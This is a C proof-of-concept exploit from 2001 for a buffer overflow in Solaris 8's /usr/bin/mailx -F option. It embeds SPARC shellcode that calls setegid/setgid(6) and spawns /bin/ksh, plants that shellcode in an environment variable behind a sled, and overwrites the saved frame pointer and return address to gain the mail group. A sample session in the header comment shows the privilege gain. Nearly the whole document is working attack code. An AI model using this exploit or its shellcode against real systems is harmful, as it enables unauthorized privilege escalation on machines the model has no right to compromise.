#include <fcntl.h>

/*

   /usr/bin/mailx overflow proof of conecpt.

   Pablo Sor, Buenos Aires, Argentina 05/2001
   psorafip.gov.ar, psorccc.uba.ar

   works against Solaris 8 (SPARC)

   default offset should work.

   $ id
   uid=100(laika) gid=1(other)

   $ ./mailx-exp
   Subject: tomy
   .
   EOT

   [wait..]

   $ id
   uid=100(laika) gid=1(other) egid=6(mail)

*/

int main(int ac, char **av)
{

char shell[]=

  "\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08" /* setegid(6) */
  "\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08" /* setgid(6) */

  /* LSD-pl.net guys shellcode */

  "\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
  "\x82\x10\x20\x17" /* mov 0x17,%g1 */
  "\x91\xd0\x20\x08" /* ta 8 */
  "\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
  "\x20\xbf\xff\xff" /* bn,a <shellcode> */
  "\x7f\xff\xff\xff" /* call <shellcode+4> */
  "\x90\x03\xe0\x20" /* add %o7,32,%o0 */
  "\x92\x02\x20\x10" /* add %o0,16,%o1 */
  "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
  "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
  "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
  "\x82\x10\x20\x0b" /* mov 0xb,%g1 */
  "\x91\xd0\x20\x08" /* ta 8 */
  "/bin/ksh";

 u_long get_sp(void)
 {
   __asm__("mov %sp,%i0 \n");
 }

 unsigned long magic = get_sp() + 1444 ; /* default offset */
 unsigned char buf[1220];
 char *envi;
 int cont;

 envi = (char *)malloc(1000*sizeof(char));
 for (cont=3;cont<990;cont=cont+4)
  { envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
 for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];
 memcpy(envi,"SO=",3);

 envi[999]=0;
 putenv(envi);
 memset(buf,0x41,1220);
 memcpy(buf+1120+24,&magic,4); /* fake %fp */
 memcpy(buf+1120+28,&magic,4); /* fake %i7 */
 buf[1220]=0;
 
 execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}

-- 
Pablo Sor
psorafip.gov.ar, psorccc.uba.ar

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